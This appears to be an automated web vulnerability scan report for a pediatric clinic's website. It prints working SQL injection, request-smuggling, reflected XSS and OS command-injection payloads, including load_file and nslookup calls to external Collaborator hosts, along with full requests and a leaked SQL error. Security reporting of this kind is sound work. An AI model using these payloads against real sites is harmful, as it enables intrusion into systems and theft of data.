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Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low or Information. This
reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the
inherent reliability of the technique that was used to identify the issue.

 

  Confidence

  Certain Firm Tentative Total

Severity

High 5 2 0 7

Medium 0 0 2 2

Low 1 1 1 3

Information 17 51 1 69

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the
bars fade as the confidence level falls.
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There are 3 instances of this issue:

/news-topic.php [newsid parameter]
/send-contact-us-email.php [CF_ALTERNATE_PHONE parameter]
/send-contact-us-email.php [CF_NAME_FIRST parameter]

Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input
to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic,
escalating privileges within the database and taking control of the database server.

Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterized queries (also known as prepared statements) for all database access. This method
uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of
user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already been defined in the first step, it is not
possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform
to determine the appropriate APIs which you can use to perform parameterized queries. It is strongly recommended that you parameterize every variable data item
that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes
elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense
is designed to prevent malformed data from terminating the string into which it is inserted. However, if the data being incorporated into queries is numeric,
then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data
context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the
database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their
original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed
to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically
constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using
user-controllable data.

References
Web Security Academy: SQL injection
Using Burp to Test for Injection Flaws
Web Security Academy: SQL Injection Cheat Sheet

Vulnerability classifications
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-116: Improper Encoding or Escaping of Output
CAPEC-66: SQL Injection

1.1. http://www.yourwebsite.com/news-topic.php [newsid parameter]
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Summary

Severity:  High

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /news-topic.php

Issue detail
The newsid parameter appears to be vulnerable to SQL injection attacks. The payloads and 7867=07867 and and 4882=4885 were each submitted in the newsid
parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way. 

 
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the
reported requests and responses to confirm whether a vulnerability is actually present.

 
Additionally, the payload (select*from(select(sleep(20)))a) was submitted in the newsid parameter. The application took 20325 milliseconds to respond to the
request, compared with 317 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be MySQL.

Request 1

GET /news-topic.php?newsid=48%20and%207867%3d07867 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4hugbr0h25jsp2iqf11krkfe6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:46:53 GMT
 Connection: close

 Content-Length: 12925
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <title>Your Child and the COVID-19 Vaccine - Cumberland Pediatrics, Pediatricians in Marietta, Smyrna</title>

[SNIP]

Request 2

GET /news-topic.php?newsid=48%20and%204882%3d4885 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4hugbr0h25jsp2iqf11krkfe6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:46:54 GMT
 Connection: close

 Content-Length: 11620
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <title>News Topic - Cumberland Pediatrics, Pediatricians in Marietta, Smyrna</title>

[SNIP]

Request 3

GET /news-topic.php?newsid=(select*from(select(sleep(20)))a) HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4hugbr0h25jsp2iqf11krkfe6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:45:50 GMT
 Connection: close

 Content-Length: 11620
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

1.2. http://www.yourwebsite.com/send-contact-us-email.php [CF_ALTERNATE_PHONE parameter]
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Summary
Severity:  High

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
The CF_ALTERNATE_PHONE parameter appears to be vulnerable to SQL injection attacks. The payload '+(select
load_file('\\\\gwg2tnk8z41bws3otvga6bya117wvpvdmga8x2lr.burpcollaborator.net\\nut'))+' was submitted in the CF_ALTERNATE_PHONE parameter. This
payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted
with that domain, indicating that the injected SQL query was executed.

 
The database appears to be MySQL.

 
The behavior appears to be asynchronous, and the Collaborator interaction occurred approximately 17 minutes after the scan of the item was completed.

Request 1

POST /send-contact-us-email.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=1k4hk0089p3lhos0nqmq62gm22

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHONE='%2b(select%20load_file('%5c%5c%5c%5cgwg2tnk8z41bws3
otvga6bya117wvpvdmga8x2lr.burpcollaborator.net%5c%5cnut'))%2b'&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=537005&CF_LASTFIELD=&Submit+Registrati
on=Submit

Collaborator DNS interaction
The Collaborator server received a DNS lookup of type A for the domain name gwg2tnk8z41bws3otvga6bya117wvpvdmga8x2lr.burpcollaborator.net.

 
The lookup was received from IP address 172.217.46.142 at 2022-Apr-07 02:20:13 UTC.

1.3. http://www.yourwebsite.com/send-contact-us-email.php [CF_NAME_FIRST parameter]
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Summary
Severity:  High

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
The CF_NAME_FIRST parameter appears to be vulnerable to SQL injection attacks. The payload '+(select
load_file('\\\\g9q26nx8c4eb9sgo6vtajbbae1kw8p8dzgn8ayyn.burpcollaborator.net\\apc'))+' was submitted in the CF_NAME_FIRST parameter. This payload
injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that
domain, indicating that the injected SQL query was executed.

 
The database appears to be MySQL.

Request 1

POST /send-contact-us-email.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=1k4hk0089p3lhos0nqmq62gm22

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST='%2b(select%20load_file('%5c%5c%5c%5cg9q26nx8c4eb9sgo6vtajbbae1kw8p8dzgn8ayyn.burpcollaborator.net%5c%5capc'))%2b'&CF_NA
ME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHONE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=537005&CF_LASTFIELD=&Submit+Registrati
o
 ...[SNIP]...

Collaborator DNS interaction
The Collaborator server received a DNS lookup of type A for the domain name g9q26nx8c4eb9sgo6vtajbbae1kw8p8dzgn8ayyn.burpcollaborator.net.

 
The lookup was received from IP address 74.125.44.69 at 2022-Apr-07 01:26:01 UTC.

2. HTTP request smuggling
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There are 3 instances of this issue:

/dr-karen-moore.php
/coronavirus-covid-19.php
/virtual-visits.php

Issue description
HTTP request smuggling vulnerabilities arise when websites route HTTP requests through web servers with inconsistent HTTP parsing.

By supplying a request that different servers interpret as having different lengths, an attacker can poison the back-end TCP/TLS socket and prepend arbitrary data
to the next request. Depending on the website's functionality, this can be used to bypass front-end security rules, access internal systems, poison web caches, and
launch assorted attacks on users who are actively browsing the site.

Issue remediation
You can resolve all variants of this vulnerability by configuring the front-end server to exclusively use HTTP/2 when communicating with back-end systems.
Alternatively, you could ensure all servers in the chain run the same web server software with the same configuration. Disabling back-end connection reuse is likely
to reduce the impact of this vulnerability, but does not mitigate all possible exploits.

Specific instances of this vulnerability can be resolved by reconfiguring the front-end server to normalize ambiguous requests before routing them onward.
Alternatively, you could configure the back-end server to reject the message and close the connection when it encounters an ambiguous request.

References
HTTP Request Smuggling
HTTP Desync Attacks

Vulnerability classifications
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
CAPEC-33: HTTP Request Smuggling

2.1. http://www.yourwebsite.com/dr-karen-moore.php
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Summary
Severity:  High

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /dr-karen-moore.php

Request 1

GET /dr-karen-moore.php?QPoy=1563770554 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 25

 
f
 ush8s=x&4v3w1=x

 0
 

Response 1

HTTP/1.1 504 Gateway Time-out
 Content-Type: 

 Content-Length: 0
 

Request 2

GET /dr-karen-moore.php?7FFR=1415330609 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 91

 
f
 ys5ne=x&jlkvg=x

 0
 

GET /tgdfd04ljhlog5n1d80nqoinler9f9327qxdn1c HTTP/1.1
 X-Ignore: X

Response 2

HTTP/1.1 504 Gateway Time-out
 Content-Type: 

 Content-Length: 0
 

Request 3

GET /dr-karen-moore.php?QPoy=1563770554 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 25

 
f
 ush8s=x&4v3w1=x

 0
 

Response 3

HTTP/1.1 500 Internal Server Error
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:06:25 GMT

 Content-Length: 5727
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
 <html xmlns="http://www.w3.org/1999/xhtml"> 

 <head> 
 <title>IIS 8.5 Detailed Error - 500.

 ...[SNIP]...

2.2. http://www.yourwebsite.com/coronavirus-covid-19.php
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Summary
Severity:  Medium

Confidence:  Tentative

Host:  http://www.yourwebsite.com

Path:  /coronavirus-covid-19.php

Request 1

GET /coronavirus-covid-19.php?eH2R=667870904 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 25

 
f
 akq0o=x&ldux8=x

 0
 

Response 1

HTTP/1.1 504 Gateway Time-out
 Content-Type: 

 Content-Length: 0
 

Request 2

GET /coronavirus-covid-19.php?SLlm=2115197442 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 25

 
f
 h2xev=x&qw6s6=x

 1
 Z
 Q
 

2.3. http://www.yourwebsite.com/virtual-visits.php

Previous   Next  
 

Summary

Severity:  Medium

Confidence:  Tentative

Host:  http://www.yourwebsite.com

Path:  /virtual-visits.php

Request 1

GET /virtual-visits.php?JR9C=888532104 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 25

 
f
 m4osq=x&ajimm=x

 0
 

Response 1

HTTP/1.1 504 Gateway Time-out
 Content-Type: 

 Content-Length: 0
 

Request 2

GET /virtual-visits.php?pLRi=326320693 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: keep-alive

 Cache-Control: max-age=0
 Transfer-Encoding: chunked
 Content-Length: 25

 
f
 xbcvl=x&34u3k=x

 1
 Z
 Q
 

3. Cross-site scripting (reflected)

Previous   Next  
 

Summary

Severity:  High

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /news-topic.php

Issue detail
The value of the newsid request parameter is copied into the HTML document as plain text between tags. The payload qw6xo<script>alert(1)</script>hn67d was
submitted in the newsid parameter. This input was echoed unmodified in the application's response.

 
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An
attacker can use the vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute
within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the
victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an
email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an
innocuous looking web site that causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST
method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality that it
contains, and the other applications that belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no
authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain that
can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered
high risk. Similarly, if the organization that owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to
such attacks, by injecting Trojan functionality into the vulnerable application and exploiting users' trust in the organization in order to capture credentials for other
applications that it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high
risk.

Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain. For example, personal names should
consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email
addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be
replaced with the corresponding HTML entities (&lt; &gt; etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments
which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

References
Web Security Academy: Cross-site scripting
Web Security Academy: Reflected cross-site scripting
Using Burp to Find XSS issues

Vulnerability classifications
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
CWE-116: Improper Encoding or Escaping of Output
CWE-159: Failure to Sanitize Special Element
CAPEC-591: Reflected XSS

Request 1

GET /news-topic.php?newsid=48qw6xo%3cscript%3ealert(1)%3c%2fscript%3ehn67d HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4hugbr0h25jsp2iqf11krkfe6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:47:00 GMT
 Connection: close

 Content-Length: 230
 

Error occurred while selecting requested news topic from news database: <br><br>SELECT * from scrolling_news where PKID = 48qw6xo<script>alert(1)
</script>hn67d and lower(DISPLAY_NEWS) = 'y' order by NEWS_DATE DESC, ATIMESTAMP DESC

4. External service interaction (DNS)

Previous   Next  
 

There are 2 instances of this issue:

/send-contact-us-email.php [CF_NAME_FIRST parameter]
/send-contact-us-email.php [CF_NAME_FIRST parameter]

Issue background
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service, such as a web or mail server. The ability
to trigger arbitrary external service interactions does not constitute a vulnerability in its own right, and in some cases might even be the intended behavior of the
application. However, in many cases, it can indicate a vulnerability with serious consequences.

In cases where DNS-based interactions can be triggered, it is normally possible to trigger interactions using other service types, and these are reported as separate
issues. If a payload that specifies a particular service type (e.g. a URL) triggers only a DNS-based interaction, then this strongly indicates that the application
attempted to connect using that other service, but was prevented from doing so by egress filters in place at the network layer. The ability to send requests to other
systems can allow the vulnerable server to be used as an attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack other
systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local
loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise
accessible to external attackers.

Issue remediation
You should review the purpose and intended use of the relevant application functionality, and determine whether the ability to trigger arbitrary external service
interactions is intended behavior. If so, you should be aware of the types of attacks that can be performed via this behavior and take appropriate measures. These
measures might include blocking network access from the application server to other internal systems, and hardening the application server itself to remove any
services available on the local loopback adapter.

If the ability to trigger arbitrary external service interactions is not intended behavior, then you should implement a whitelist of permitted services and hosts, and
block any interactions that do not appear on this whitelist.

Out-of-Band Application Security Testing (OAST) is highly effective at uncovering high-risk features, to the point where finding the root cause of an interaction can
be quite challenging. To find the source of an external service interaction, try to identify whether it is triggered by specific application functionality, or occurs
indiscriminately on all requests. If it occurs on all endpoints, a front-end CDN or application firewall may be responsible, or a back-end analytics system parsing
server logs. In some cases, interactions may originate from third-party systems; for example, a HTTP request may trigger a poisoned email which passes through a
link-scanner on its way to the recipient.

References
Burp Collaborator
Out-of-band application security testing (OAST)
PortSwigger Research: Cracking the Lens

Vulnerability classifications
CWE-918: Server-Side Request Forgery (SSRF)
CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

4.1. http://www.yourwebsite.com/send-contact-us-email.php [CF_NAME_FIRST parameter]

Previous   Next  
 

Summary
Severity:  High

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
It is possible to induce the application to perform server-side DNS lookups of arbitrary domain names.

 
The nslookup shell command |nslookup -q=cname ibx48pzae6gdbuiq8xvclddcg3myaraf63yqoed.burpcollaborator.net.& was submitted in the
CF_NAME_FIRST parameter. This payload is designed to trigger a CNAME DNS lookup if the application is vulnerable to OS command injection.

 
The application performed a DNS lookup of the specified domain of an unexpected type. This indicates that the server has a component that is parsing out
hostnames and making the interaction.

Request 1

POST /send-contact-us-email.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=1k4hk0089p3lhos0nqmq62gm22

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=%7cnslookup%20-
q%3dcname%20ibx48pzae6gdbuiq8xvclddcg3myaraf63yqoed.burpcollaborator.net.%26&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PH
ONE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=537005&CF_LASTFIELD=&Submit+Registrati
o

[SNIP]

Collaborator DNS interaction
The Collaborator server received a DNS lookup of type A for the domain name ibx48pzae6gdbuiq8xvclddcg3myaraf63yqoed.burpcollaborator.net.

 
The lookup was received from IP address 74.125.44.133 at 2022-Apr-07 01:30:11 UTC.

4.2. http://www.yourwebsite.com/send-contact-us-email.php [CF_NAME_FIRST parameter]

Previous   Next  
 

Summary

Severity:  High

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
It is possible to induce the application to perform server-side DNS lookups of arbitrary domain names.

 
The payload k2n6zrqc587f2w9szzmecf4e75d01t1ht5lsbg0.burpcollaborator.net was submitted in the CF_NAME_FIRST parameter.

 
The application performed a DNS lookup of the specified domain.

Request 1

POST /send-contact-us-email.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
